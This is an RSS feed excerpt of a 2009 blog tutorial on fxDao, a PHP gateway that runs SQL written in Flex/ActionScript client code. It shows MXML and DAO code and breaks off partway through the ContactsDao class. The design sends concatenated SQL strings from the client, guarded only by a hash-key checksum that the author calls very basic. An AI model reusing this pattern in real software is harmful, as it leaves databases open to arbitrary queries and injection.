<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; callback</title>
	<atom:link href="http://www.myflexiblelife.com/tags/callback/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>A very quick and simple fxDao client example</title>
		<link>http://www.myflexiblelife.com/2009/08/03/a-very-quick-and-simple-fxdao-example/</link>
		<comments>http://www.myflexiblelife.com/2009/08/03/a-very-quick-and-simple-fxdao-example/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 13:34:38 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[fxDao]]></category>
		<category><![CDATA[AS3FlexDB]]></category>
		<category><![CDATA[callback]]></category>
		<category><![CDATA[DAO]]></category>
		<category><![CDATA[DataGrid]]></category>
		<category><![CDATA[Function]]></category>
		<category><![CDATA[gateway]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[value objects]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=121</guid>
		<description><![CDATA[About one month ago I released fxDao v 1.0.0, a simple PHP gateway used to execute queries on the server specifying them directly in your ActionScript code.
The main difference between the fxDao approach and others like the one of AS3FlexDB is that the main application code is loosely coupled with it. Using fxDao your main [...]]]></description>
			<content:encoded><![CDATA[<p>About one month ago I released <strong>fxDao v 1.0.0</strong>, a simple PHP <strong>gateway </strong>used to execute queries on the server specifying them directly in your ActionScript code.</p>
<div id="attachment_130" class="wp-caption alignright" style="width: 127px"><a href="http://www.myflexiblelife.com/wp-content/uploads/2009/08/fxdao_example.png"><img class="size-thumbnail wp-image-130" title="fxdao_example" src="http://www.myflexiblelife.com/wp-content/uploads/2009/08/fxdao_example-150x150.png" alt="fxdao_example" width="117" height="117" /></a><p class="wp-caption-text">fxDao Example Application</p></div>
<p>The main difference between the fxDao approach and others like the one of <strong>AS3FlexDB</strong> is that the main application code is <strong>loosely coupled</strong> with it. Using fxDao your main application calls <strong>static methods</strong> from <strong>DAO classes</strong>. Encapsulating the data access logic into DAO classes brings the advantage that in case data access logic changes, you have to rewrite only the DAO classes, leaving the rest of the application as is.</p>
<p>In this article I&#8217;ll show a very simple ActionScript DAO class example.</p>
<p>The main application code is listed below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span> </span>
<span style="color: #000000;">    xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">    pageTitle=<span style="color: #ff0000;">&quot;fxDao DAO Example&quot;</span></span>
<span style="color: #000000;">    layout=<span style="color: #ff0000;">&quot;vertical&quot;</span> horizontalAlign=<span style="color: #ff0000;">&quot;left&quot;</span></span>
<span style="color: #000000;">    paddingTop=<span style="color: #ff0000;">&quot;10&quot;</span> paddingRight=<span style="color: #ff0000;">&quot;10&quot;</span> paddingBottom=<span style="color: #ff0000;">&quot;10&quot;</span> paddingLeft=<span style="color: #ff0000;">&quot;10&quot;</span> </span>
<span style="color: #000000;">    width=<span style="color: #ff0000;">&quot;100%&quot;</span> </span>
<span style="color: #000000;">    backgroundColor=<span style="color: #ff0000;">&quot;#ffffff&quot;</span></span>
<span style="color: #000000;">    initialize=<span style="color: #ff0000;">&quot;onInitialize(event);&quot;</span></span>
<span style="color: #000000;">    applicationComplete=<span style="color: #ff0000;">&quot;onComplete(event);&quot;</span> viewSourceURL=<span style="color: #ff0000;">&quot;srcview/index.html&quot;</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">  &lt;![CDATA[</span>
<span style="color: #339933;">    import model.Contact;</span>
<span style="color: #339933;">    import utils.FxDaoUtils;</span>
<span style="color: #339933;">    import dao.ContactsDao;</span>
<span style="color: #339933;">    import mx.collections.ArrayCollection;</span>
<span style="color: #339933;">    import mx.events.FlexEvent;</span>
&nbsp;
<span style="color: #339933;">    [Bindable]</span>
<span style="color: #339933;">    private var _data:ArrayCollection;</span>
&nbsp;
<span style="color: #339933;">    private function onInitialize(event:FlexEvent):void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      FxDaoUtils.loadProperties();</span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    private function onComplete(event:FlexEvent):void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      doReadAll();</span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    private function doReadAll():void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      ContactsDao.readAll(</span>
<span style="color: #339933;">        function(list:ArrayCollection):void {</span>
<span style="color: #339933;">          _data = list;</span>
<span style="color: #339933;">        }</span>
<span style="color: #339933;">      );</span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    private function doSaveNew():void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      var obj:Contact = getObj();</span>
<span style="color: #339933;">      ContactsDao.create(</span>
<span style="color: #339933;">        obj, </span>
<span style="color: #339933;">        function(id:Number):void {</span>
<span style="color: #339933;">          obj.id = id;</span>
<span style="color: #339933;">          _data.addItem(obj);</span>
<span style="color: #339933;">          datagrid.selectedIndex = _data.length - 1;</span>
<span style="color: #339933;">          datagrid.scrollToIndex(datagrid.selectedIndex);</span>
<span style="color: #339933;">        }</span>
<span style="color: #339933;">      );</span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    private function doUpdate():void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      var obj:Contact = getObj();</span>
<span style="color: #339933;">      ContactsDao.update(</span>
<span style="color: #339933;">        obj,</span>
<span style="color: #339933;">        function():void {</span>
<span style="color: #339933;">          setObj(obj);</span>
<span style="color: #339933;">        }</span>
<span style="color: #339933;">      );</span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    private function doDelete():void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      var obj:Contact = getObj();</span>
<span style="color: #339933;">      ContactsDao.deleteById(</span>
<span style="color: #339933;">        obj.id,</span>
<span style="color: #339933;">        function():void {</span>
<span style="color: #339933;">          unsetObj(obj);  </span>
<span style="color: #339933;">        }</span>
<span style="color: #339933;">      );</span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    /**</span>
<span style="color: #339933;">     * Return a Contact instance from form data.</span>
<span style="color: #339933;">     */</span>
<span style="color: #339933;">    private function getObj():Contact</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      var obj:Contact = new Contact();</span>
<span style="color: #339933;">      obj.id = Number(inId.text); </span>
<span style="color: #339933;">      obj.firstName = inFirstName.text;</span>
<span style="color: #339933;">      obj.lastName = inLastName.text;</span>
<span style="color: #339933;">      obj.email = inEmail.text;</span>
<span style="color: #339933;">      return obj;      </span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    /**</span>
<span style="color: #339933;">     * Update Contact object in data set.</span>
<span style="color: #339933;">     */</span>
<span style="color: #339933;">    private function setObj(obj:Contact):void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      for each (var item:Contact in _data)</span>
<span style="color: #339933;">      {</span>
<span style="color: #339933;">        if (item.id == obj.id)</span>
<span style="color: #339933;">        {</span>
<span style="color: #339933;">          item.firstName = obj.firstName;</span>
<span style="color: #339933;">          item.lastName = obj.lastName;</span>
<span style="color: #339933;">          item.email = obj.email;</span>
<span style="color: #339933;">          break;</span>
<span style="color: #339933;">        }</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">    }</span>
&nbsp;
<span style="color: #339933;">    /**</span>
<span style="color: #339933;">     * Remove object from data set.</span>
<span style="color: #339933;">     */</span>
<span style="color: #339933;">    private function unsetObj(obj:Contact):void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      var i:Number = 0;</span>
<span style="color: #339933;">      for each (var item:Contact in _data)</span>
<span style="color: #339933;">      {</span>
<span style="color: #339933;">        if (item.id == obj.id)</span>
<span style="color: #339933;">        {</span>
<span style="color: #339933;">          _data.removeItemAt(i);</span>
<span style="color: #339933;">          datagrid.selectedIndex = -1;</span>
<span style="color: #339933;">          break;</span>
<span style="color: #339933;">        }</span>
<span style="color: #339933;">        i ++;</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">    }</span>
<span style="color: #339933;">  ]]&gt;</span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:HBox</span> verticalAlign=<span style="color: #ff0000;">&quot;middle&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Image</span> source=<span style="color: #ff0000;">&quot;@Embed('../assets/fxDaoTiny.png')&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Label</span> text=<span style="color: #ff0000;">&quot;DAO Class Example&quot;</span> fontSize=<span style="color: #ff0000;">&quot;18&quot;</span> color=<span style="color: #ff0000;">&quot;#666666&quot;</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:filters</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;">&lt;flash.filters:DropShadowFilter </span>
<span style="color: #000000;">            xmlns:flash.filters=<span style="color: #ff0000;">&quot;flash.filters.*&quot;</span> </span>
<span style="color: #000000;">            angle=<span style="color: #ff0000;">&quot;45&quot;</span> blurX=<span style="color: #ff0000;">&quot;4&quot;</span> blurY=<span style="color: #ff0000;">&quot;4&quot;</span> </span>
<span style="color: #000000;">            distance=<span style="color: #ff0000;">&quot;2&quot;</span> </span>
<span style="color: #000000;">            alpha=<span style="color: #ff0000;">&quot;.4&quot;</span> color=<span style="color: #ff0000;">&quot;0x000000&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:filters</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Label</span><span style="color: #7400FF;">&gt;</span></span>  
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:HBox</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Panel</span></span>
<span style="color: #000000;">      width=<span style="color: #ff0000;">&quot;100%&quot;</span> height=<span style="color: #ff0000;">&quot;100%&quot;</span></span>
<span style="color: #000000;">      title=<span style="color: #ff0000;">&quot;Datagrid&quot;</span> </span>
<span style="color: #000000;">      fontFamily=<span style="color: #ff0000;">&quot;Arial&quot;</span> fontSize=<span style="color: #ff0000;">&quot;12&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGrid</span> id=<span style="color: #ff0000;">&quot;datagrid&quot;</span></span>
<span style="color: #000000;">          width=<span style="color: #ff0000;">&quot;100%&quot;</span> height=<span style="color: #ff0000;">&quot;100%&quot;</span></span>
<span style="color: #000000;">          dataProvider=<span style="color: #ff0000;">&quot;{_data}&quot;</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:columns</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGridColumn</span> headerText=<span style="color: #ff0000;">&quot;ID&quot;</span> dataField=<span style="color: #ff0000;">&quot;id&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGridColumn</span> headerText=<span style="color: #ff0000;">&quot;First name&quot;</span> dataField=<span style="color: #ff0000;">&quot;firstName&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGridColumn</span> headerText=<span style="color: #ff0000;">&quot;Last name&quot;</span> dataField=<span style="color: #ff0000;">&quot;lastName&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGridColumn</span> headerText=<span style="color: #ff0000;">&quot;E-mail&quot;</span> dataField=<span style="color: #ff0000;">&quot;email&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:columns</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:DataGrid</span><span style="color: #7400FF;">&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Panel</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Panel</span></span>
<span style="color: #000000;">      width=<span style="color: #ff0000;">&quot;100%&quot;</span></span>
<span style="color: #000000;">      title=<span style="color: #ff0000;">&quot;Detail&quot;</span></span>
<span style="color: #000000;">      fontFamily=<span style="color: #ff0000;">&quot;Arial&quot;</span> fontSize=<span style="color: #ff0000;">&quot;12&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Form</span> id=<span style="color: #ff0000;">&quot;form&quot;</span></span>
<span style="color: #000000;">          width=<span style="color: #ff0000;">&quot;50%&quot;</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:FormItem</span> label=<span style="color: #ff0000;">&quot;ID&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextInput</span>  id=<span style="color: #ff0000;">&quot;inId&quot;</span></span>
<span style="color: #000000;">            text=<span style="color: #ff0000;">&quot;{datagrid.selectedItem.id}&quot;</span> </span>
<span style="color: #000000;">            enabled=<span style="color: #ff0000;">&quot;false&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:FormItem</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:FormItem</span> label=<span style="color: #ff0000;">&quot;First name&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextInput</span> id=<span style="color: #ff0000;">&quot;inFirstName&quot;</span></span>
<span style="color: #000000;">            text=<span style="color: #ff0000;">&quot;{datagrid.selectedItem.firstName}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:FormItem</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:FormItem</span> label=<span style="color: #ff0000;">&quot;Last name&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextInput</span> id=<span style="color: #ff0000;">&quot;inLastName&quot;</span></span>
<span style="color: #000000;">            text=<span style="color: #ff0000;">&quot;{datagrid.selectedItem.lastName}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:FormItem</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:FormItem</span> label=<span style="color: #ff0000;">&quot;E-mail&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextInput</span> id=<span style="color: #ff0000;">&quot;inEmail&quot;</span></span>
<span style="color: #000000;">            text=<span style="color: #ff0000;">&quot;{datagrid.selectedItem.email}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:FormItem</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Form</span><span style="color: #7400FF;">&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Panel</span><span style="color: #7400FF;">&gt;</span></span>  
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:HBox</span> width=<span style="color: #ff0000;">&quot;100%&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Save as new&quot;</span> click=<span style="color: #ff0000;">&quot;doSaveNew();&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Update&quot;</span> click=<span style="color: #ff0000;">&quot;doUpdate();&quot;</span> enabled=<span style="color: #ff0000;">&quot;{datagrid.selectedItem != null}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Delete&quot;</span> click=<span style="color: #ff0000;">&quot;doDelete();&quot;</span> enabled=<span style="color: #ff0000;">&quot;{datagrid.selectedItem != null}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Spacer</span> width=<span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Read all&quot;</span> click=<span style="color: #ff0000;">&quot;doReadAll();&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:HBox</span><span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>The application loads a configuration file on startup at <strong>line 25</strong>. The configuration file contains the fxDao <strong>entry point URL</strong> and the <strong>hash key </strong>used to calculate a <strong>checksum string</strong> which is passed to the gateway on each request. The checksum is used to build up a very basic level of security. Security in fxDao is certainly something we have to focus better on in the next future.</p>
<p>Once the application initialization is completed, a first call to the DAO class populates the DataGrid at <strong>line35.</strong> The <strong>ContactsDao.readAll</strong> method expects a callback Function as parameter. That function will be invoked once the result will be available: after all we are playing with asynchronous service calls.</p>
<p>The callback function at <strong>line 36</strong> takes an ArrayCollection as parameter which means that the DAO class will serialize and deserialize data without the need for the main application to know anything about the data structures exchanged underneath. This is the reason why the main application can be considered loosely coupled with fxDao. The Value Object used in this example is Contact and its very simple structure is shown below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #9900cc; font-weight: bold;">package</span> model
<span style="color: #000000;">&#123;</span>
<span style="color: #000000;">&#91;</span>Bindable<span style="color: #000000;">&#93;</span>
<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> Contact
<span style="color: #000000;">&#123;</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Properties</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> id<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = <span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span>;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> firstName<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span> = <span style="color: #990000;">&quot;&quot;</span>;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> lastName<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span> = <span style="color: #990000;">&quot;&quot;</span>;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> email<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span> = <span style="color: #990000;">&quot;&quot;</span>;
&nbsp;
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Constructor</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #3f5fbf;">/**
   * Constructor
   * 
   * Assumes an XML structure in the form:
   * 
   * &lt;data&gt;
   *   &lt;c1&gt;123&lt;/c1&gt;
   *   &lt;c2&gt;first name&lt;/c2&gt;
   *   &lt;c3&gt;last name&lt;/c3&gt;
   *   &lt;c4&gt;email&lt;/c4&gt;
   * &lt;/data&gt;
   * 
   */</span>
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> Contact<span style="color: #000000;">&#40;</span><span style="color: #004993;">data</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">XML</span> = <span style="color: #0033ff; font-weight: bold;">null</span><span style="color: #000000;">&#41;</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span><span style="color: #004993;">data</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span><span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
      id = <span style="color: #004993;">Number</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">data</span>.c1<span style="color: #000000;">&#41;</span>;
      firstName = <span style="color: #004993;">data</span>.c2;
      lastName = <span style="color: #004993;">data</span>.c3;
      email = <span style="color: #004993;">data</span>.c4;
    <span style="color: #000000;">&#125;</span>
  <span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>All other create, delete and update methods work more or less the same way. As you can see, this example application is very simple and let you remotely read, insert, update and delete records.</p>
<p>The <strong>ContactsDao</strong> class encapsulates the SQL queries used to read and write records into static methods invoked by the main application. Queries are executed through the fxDao gateway which means that an HTTP service is used to send commands to the server. This is why method calls are asynchronous.</p>
<p>The ContactsDao class source code is listed below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #9900cc; font-weight: bold;">package</span> dao
<span style="color: #000000;">&#123;</span>
  <span style="color: #0033ff; font-weight: bold;">import</span> model.Contact;
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">import</span> mx.collections.ArrayCollection;
  <span style="color: #0033ff; font-weight: bold;">import</span> mx.managers.CursorManager;
  <span style="color: #0033ff; font-weight: bold;">import</span> mx.rpc.AsyncToken;
  <span style="color: #0033ff; font-weight: bold;">import</span> mx.rpc.events.ResultEvent;
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">import</span> utils.FxDaoUtils;
&nbsp;
<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> ContactsDao
<span style="color: #000000;">&#123;</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// CRUD methods</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #009900;">// -----------------------------------</span>
  <span style="color: #009900;">// Create</span>
  <span style="color: #009900;">// -----------------------------------  </span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> static <span style="color: #339966; font-weight: bold;">function</span> create<span style="color: #000000;">&#40;</span>obj<span style="color: #000000; font-weight: bold;">:</span>Contact, 
                                userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #6699cc; font-weight: bold;">var</span> query<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span> = <span style="color: #990000;">&quot;INSERT INTO contacts SET &quot;</span>
      <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;first_name='&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> dquote<span style="color: #000000;">&#40;</span>obj.firstName<span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;', &quot;</span>
        <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;last_name='&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> dquote<span style="color: #000000;">&#40;</span>obj.lastName<span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;', &quot;</span>
        <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;email='&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> dquote<span style="color: #000000;">&#40;</span>obj.email<span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;'&quot;</span>;
    doExecute<span style="color: #000000;">&#40;</span>query, onCreate, userHandler<span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">private</span> static <span style="color: #339966; font-weight: bold;">function</span> onCreate<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span>ResultEvent,
                                   userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #6699cc; font-weight: bold;">var</span> id<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = <span style="color: #004993;">Number</span><span style="color: #000000;">&#40;</span>event.result.rs.@insert_id<span style="color: #000000;">&#41;</span>;
    userHandler<span style="color: #000000;">&#40;</span>id<span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -----------------------------------</span>
  <span style="color: #009900;">// Read</span>
  <span style="color: #009900;">// -----------------------------------</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> static <span style="color: #339966; font-weight: bold;">function</span> readAll<span style="color: #000000;">&#40;</span>userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #6699cc; font-weight: bold;">var</span> query<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span> = <span style="color: #990000;">&quot;SELECT * FROM contacts&quot;</span>;
